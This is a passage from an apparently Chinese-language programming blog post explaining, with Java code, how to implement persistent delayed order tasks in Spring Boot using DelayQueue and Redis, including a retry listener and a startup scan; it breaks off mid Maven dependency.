currentTime;</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 任务执行时间=当前时间 + 延时任务执行时间</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">long</span> startTime;</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 延时时间,单位为秒</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">long</span> timeOut;</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">DelayedInfo</span><span class="params">()</span></span>{}</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">DelayedInfo</span><span class="params">(String orderId, <span class="keyword">long</span> currentTime, <span class="keyword">long</span> timeOut)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.orderId = orderId;</span><br><span class="line"> <span class="keyword">this</span>.currentTime = currentTime;</span><br><span class="line"> <span class="keyword">this</span>.startTime = currentTime + timeOut * <span class="number">1000l</span>;</span><br><span class="line"> <span class="keyword">this</span>.timeOut=timeOut;</span><br><span class="line"> <span class="keyword">this</span>.delayType=Contract.ORDER_TYPE_CHARGE;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">DelayedInfo</span><span class="params">(String orderId, <span class="keyword">long</span> currentTime, <span class="keyword">long</span> timeOut,<span class="keyword">int</span> orderType)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.orderId = orderId;</span><br><span class="line"> <span class="keyword">this</span>.currentTime = currentTime;</span><br><span class="line"> <span class="keyword">this</span>.startTime = currentTime + timeOut * <span class="number">1000l</span>;</span><br><span class="line"> <span class="keyword">this</span>.timeOut=timeOut;</span><br><span class="line"> <span class="keyword">this</span>.delayType=orderType;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">long</span> <span class="title">getDelay</span><span class="params">(TimeUnit unit)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> unit.convert(startTime - System.currentTimeMillis(), unit);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">compareTo</span><span class="params">(Delayed other)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (other == <span class="keyword">this</span>){</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span>(other <span class="keyword">instanceof</span> DelayedInfo){</span><br><span class="line"> DelayedInfo otherRequest = (DelayedInfo)other;</span><br><span class="line"> <span class="keyword">long</span> otherStartTime = otherRequest.getStartTime();</span><br><span class="line"> <span class="keyword">return</span> (<span class="keyword">int</span>)(<span class="keyword">this</span>.startTime - otherStartTime);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getOrderId</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> orderId;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setOrderId</span><span class="params">(String orderId)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.orderId = orderId;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">long</span> <span class="title">getStartTime</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> startTime;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setStartTime</span><span class="params">(<span class="keyword">long</span> startTime)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.startTime = startTime;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">long</span> <span class="title">getCurrentTime</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> currentTime;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setCurrentTime</span><span class="params">(<span class="keyword">long</span> currentTime)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.currentTime = currentTime;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> JacksonUtil.toJSon(<span class="keyword">this</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">long</span> <span class="title">getTimeOut</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> timeOut;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setTimeOut</span><span class="params">(<span class="keyword">long</span> timeOut)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.timeOut = timeOut;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> Integer <span class="title">getDelayType</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> delayType;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setDelayType</span><span class="params">(Integer delayType)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.delayType = delayType;</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中delayType、OrderType就是订单类型的枚举标识,可自己定义标识。</p><span id="more"></span><h4><span id="定时任务父类">定时任务父类</span></h4><p>再创建一个定时任务的抽象类,它用来做一些每个定时任务都会有的操作,比如添加定时任务,删除定时任务,扫描redis:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">DelayService</span> </span>{</span><br><span class="line"><span class="keyword">private</span> DelayQueue<DelayedInfo> delayQueue = <span class="keyword">new</span> DelayQueue<DelayedInfo>();</span><br><span class="line"><span class="keyword">protected</span> Logger logger = LoggerFactory.getLogger(<span class="keyword">this</span>.getClass());</span><br><span class="line">StringRedisTemplate redisTemplate;</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="title">DelayService</span><span class="params">(StringRedisTemplate redisTemplate)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.redisTemplate = redisTemplate;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Title</span>: delayProcess</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: 延时任务的具体实现</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reinershir</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2020年12月11日</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> info 定时任务的参数</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> 如返回true,表示任务执行完成,将会从redis中删除定时任务,返回false会重新等待一轮时间再次执行</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">abstract</span> <span class="keyword">boolean</span> <span class="title">delayProcess</span><span class="params">(DelayedInfo info)</span></span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">boolean</span> <span class="title">remove</span><span class="params">(DelayedInfo order)</span> </span>{</span><br><span class="line">redisTemplate.delete(getRedisKey(order));</span><br><span class="line"><span class="keyword">return</span> delayQueue.remove(order);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Title</span>: getRedisKey</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: 拼接redis存储的key</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reinershir</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2020年12月14日</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> info</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> String <span class="title">getRedisKey</span><span class="params">(DelayedInfo info)</span> </span>{</span><br><span class="line"><span class="keyword">return</span> Contract.DELAYED_TASK_KEY + info.getDelayType() + <span class="string">"_"</span> + info.getOrderId();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Title</span>: getRedisKeyPrefix</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: 获取redis key前缀,用于扫描</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reinershir</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2020年12月14日</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> orderType 订单类型枚举</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> redis key prefix</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> String <span class="title">getRedisKeyPrefix</span><span class="params">(OrderType orderType)</span> </span>{</span><br><span class="line"><span class="keyword">return</span> Contract.DELAYED_TASK_KEY + orderType.getType();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> DelayedInfo <span class="title">take</span><span class="params">()</span> <span class="keyword">throws</span> InterruptedException </span>{</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">this</span>.delayQueue.take();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Title</span>: add</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>:</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reinershir</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2020年12月11日</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> orderId 订单号</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> currentTime 当前时间,直接用System.currentTimeMillis</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> timeout 延时执行时间,单位为秒</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">add</span><span class="params">(String orderId, <span class="keyword">long</span> currentTime, <span class="keyword">long</span> timeout)</span> </span>{</span><br><span class="line">DelayedInfo info = <span class="keyword">new</span> DelayedInfo(orderId, currentTime, timeout);</span><br><span class="line">delayQueue.put(info);</span><br><span class="line">redisTemplate.opsForValue().set(getRedisKey(info), com.hz.dianlailai.utils.JacksonUtil.toJSon(info));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">add</span><span class="params">(DelayedInfo info)</span> </span>{</span><br><span class="line">delayQueue.put(info);</span><br><span class="line">redisTemplate.opsForValue().set(getRedisKey(info), com.hz.dianlailai.utils.JacksonUtil.toJSon(info));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">addDelayTask</span><span class="params">(String orderId, Integer delayType, <span class="keyword">long</span> timeout)</span> </span>{</span><br><span class="line">DelayedInfo info = <span class="keyword">new</span> DelayedInfo(orderId, System.currentTimeMillis(), timeout);</span><br><span class="line">info.setDelayType(delayType);</span><br><span class="line"><span class="keyword">this</span>.add(info);</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">putTask</span><span class="params">(DelayedInfo info)</span> </span>{</span><br><span class="line">delayQueue.put(info);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">remove</span><span class="params">(String orderId)</span> </span>{</span><br><span class="line">delayQueue.forEach((info)->{</span><br><span class="line"><span class="keyword">if</span> (info.getOrderId().equals(orderId)) {</span><br><span class="line">remove(info);</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">}</span><br><span class="line">});</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 扫描redis</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">redisScan</span><span class="params">(OrderType orderType)</span> </span>{</span><br><span class="line"><span class="keyword">final</span> String prefix = getRedisKeyPrefix(orderType) + <span class="string">"*"</span>;</span><br><span class="line"><span class="keyword">new</span> Thread(<span class="keyword">new</span> Runnable() {</span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">run</span><span class="params">()</span> </span>{</span><br><span class="line">logger.info(<span class="string">"开始扫描定时任务,类型:{}"</span>, orderType);</span><br><span class="line">Set<String> keys = redisTemplate.keys(prefix + <span class="string">"*"</span>);</span><br><span class="line"><span class="keyword">if</span> (!CollectionUtils.isEmpty(keys)) {</span><br><span class="line"><span class="comment">// 写到DelayQueue</span></span><br><span class="line"><span class="keyword">for</span> (String key : keys) {</span><br><span class="line">String val = redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="comment">//不可使用订阅发布模式,因为KEY失效时服务器挂了定时任务就会丢失</span></span><br><span class="line">DelayedInfo info = JacksonUtil.readValue(val, DelayedInfo.class);</span><br><span class="line"><span class="keyword">if</span> (info != <span class="keyword">null</span>) {</span><br><span class="line"><span class="comment">//获取任务的启动时间</span></span><br><span class="line"><span class="keyword">long</span> startTime = info.getDelay(TimeUnit.MILLISECONDS);</span><br><span class="line"><span class="keyword">if</span>(startTime<<span class="number">1</span>) {</span><br><span class="line"><span class="comment">//如果执行时间已经过期(即应该要马上执行的任务),加个5秒的锁,保证在执行时没有其它程序读取即可,(所以此定时非完全可靠,需要定时任务中的代码支持重复执行的情况)</span></span><br><span class="line">startTime = <span class="number">5000l</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">//给该任务设置一个状态,表示已经有程序在读取该定时任务了</span></span><br><span class="line"><span class="keyword">if</span>(redisTemplate.opsForValue().setIfAbsent(<span class="string">"TASK_LOCK_"</span>+key, info.getOrderId(), startTime, TimeUnit.MILLISECONDS)) {</span><br><span class="line">logger.info(<span class="string">"找到定时任务,任务类型:{},编号:{},时间:{}分钟"</span>, orderType, info.getOrderId(),info.getDelay(TimeUnit.MILLISECONDS)/<span class="number">1000</span>/<span class="number">60</span>);</span><br><span class="line">DelayService.<span class="keyword">this</span>.putTask(info);</span><br><span class="line"><span class="comment">//清除占用状态</span></span><br><span class="line">redisTemplate.delete(<span class="string">"TASK_LOCK_"</span>+key);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line">redisTemplate.delete(key);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">logger.info(<span class="string">"类型:{} 定时任务扫描完毕!"</span>, orderType);</span><br><span class="line">}</span><br><span class="line">}).start();</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4><span id="订单定时任务处理类">订单定时任务处理类</span></h4><p>OK,上面已经建好了父类,接下来可以创建执行业务代码的订单延时任务了,此处我还加了个小功能,那就是执行结果返回true才真的结束任务,如果返回false会再等待一次相同的时间再执行,最多允许失败3次。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">OrderDelayService</span> <span class="keyword">extends</span> <span class="title">DelayService</span></span>{</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="title">OrderDelayService</span><span class="params">(StringRedisTemplate redisTemplate)</span> </span>{</span><br><span class="line"><span class="keyword">super</span>(redisTemplate);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">boolean</span> <span class="title">delayProcess</span><span class="params">(DelayedInfo info)</span> </span>{</span><br><span class="line">logger.info(<span class="string">"执行检查订单定时任务,订单编号:{}"</span>,info.getOrderId());</span><br><span class="line">ConsummerOrder order = orderService.getByOrderNo(info.getOrderId());</span><br><span class="line"><span class="keyword">if</span>(order!=<span class="keyword">null</span>) {</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4><span id="创建定时任务执行类">创建定时任务执行类</span></h4><p>定时任务创建好后需要有个东西来执行它,因此我创建一个循环执行的线程不断判断是否有任务,如果没有任务,该线程阻塞。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 定时任务监听类,用于不停获取队列里的任务</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reinershir</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">DelayServiceListener</span> <span class="keyword">extends</span> <span class="title">Thread</span></span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> Logger logger = LoggerFactory.getLogger(getClass());</span><br><span class="line"></span><br><span class="line">Map<String, Integer> countStore = <span class="keyword">new</span> HashMap<>();</span><br><span class="line">DelayService delayService;</span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="title">DelayServiceListener</span><span class="params">(DelayService delayService)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.delayService=delayService;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">run</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">while</span> (<span class="keyword">true</span>) {</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"><span class="comment">//阻塞,等待任务添加进队列</span></span><br><span class="line">DelayedInfo info = delayService.take();</span><br><span class="line"><span class="keyword">if</span> (delayService.delayProcess(info)) {</span><br><span class="line"><span class="comment">// 执行完成,删除任务</span></span><br><span class="line">delayService.remove(info);</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"><span class="comment">// 记录重试次数,超时3次不再重复执行</span></span><br><span class="line">Integer count = countStore.get(info.getOrderId());</span><br><span class="line"><span class="keyword">if</span> (count == <span class="keyword">null</span>) {</span><br><span class="line">count = <span class="number">1</span>;</span><br><span class="line">countStore.put(info.getOrderId(), count);</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"><span class="keyword">if</span> (count < <span class="number">3</span>) {</span><br><span class="line">countStore.put(info.getOrderId(), ++count);</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">countStore.remove(info.getOrderId());</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> (count < <span class="number">3</span>) {</span><br><span class="line"><span class="comment">// 未执行完成,等待下一轮</span></span><br><span class="line">delayService.add(info.getOrderId(), System.currentTimeMillis(), info.getTimeOut());</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">} <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">logger.error(<span class="string">"DelayService执行出错!"</span>, e);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h4><span id="创建定时任务业务处理类">创建定时任务业务处理类</span></h4><p>在这里处理你的业务逻辑,代码示例:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 延时任务</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reinershir</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">MyDelayService</span> <span class="keyword">extends</span> <span class="title">DelayService</span></span>{</span><br><span class="line"></span><br><span class="line"><span class="meta">@Autowired</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="title">MyDelayService</span><span class="params">(StringRedisTemplate redisTemplate)</span> </span>{</span><br><span class="line"><span class="keyword">super</span>(redisTemplate);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">boolean</span> <span class="title">delayProcess</span><span class="params">(DelayedInfo info)</span> </span>{</span><br><span class="line">logger.info(<span class="string">"执行延时任务,订单编号:{}"</span>,info.getOrderId());</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4><span id="最后一个添加配置类">最后一个!添加配置类</span></h4><p>我们需要在spring启动完成后执行扫描代码,因此还需要一个配置类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">DelayTaskConfig</span> <span class="keyword">implements</span> <span class="title">ApplicationListener</span><<span class="title">ApplicationReadyEvent</span>></span>{</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Autowired</span></span><br><span class="line"> RedisTemplate<String, String> redisTemplate;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onApplicationEvent</span><span class="params">(ApplicationReadyEvent event)</span> </span>{</span><br><span class="line">ApplicationContext applicationContext = event.getApplicationContext();</span><br><span class="line"> <span class="keyword">if</span> (applicationContext != <span class="keyword">null</span>) {</span><br><span class="line"> MyDelayService MyDelayService = applicationContext.getBean(MyDelayService.class);</span><br><span class="line"> <span class="comment">//扫描保存在redis里的定时任务</span></span><br><span class="line"> MyDelayService.redisScan(此处为自定的订单类型);</span><br><span class="line"> <span class="keyword">new</span> DelayServiceListener(MyDelayService).start();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>大功造成,在代码中动态添加定时任务的用法如下,只需注入并调用add方法即可:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Autowired</span></span><br><span class="line">MyDelayService MyDelayService;</span><br><span class="line"></span><br><span class="line"><span class="comment">//在你的代码中调用添加定时任务方法</span></span><br><span class="line">MyDelayService.add(订单编号, 订单类型,延时执行时间,单位为秒);</span><br></pre></td></tr></table></figure><p>最后redis依赖别忘记加了哦</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"><span class="tag"><<span class="name">groupId</span>></span>org.springframework.boot<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"><span class="tag"><<span 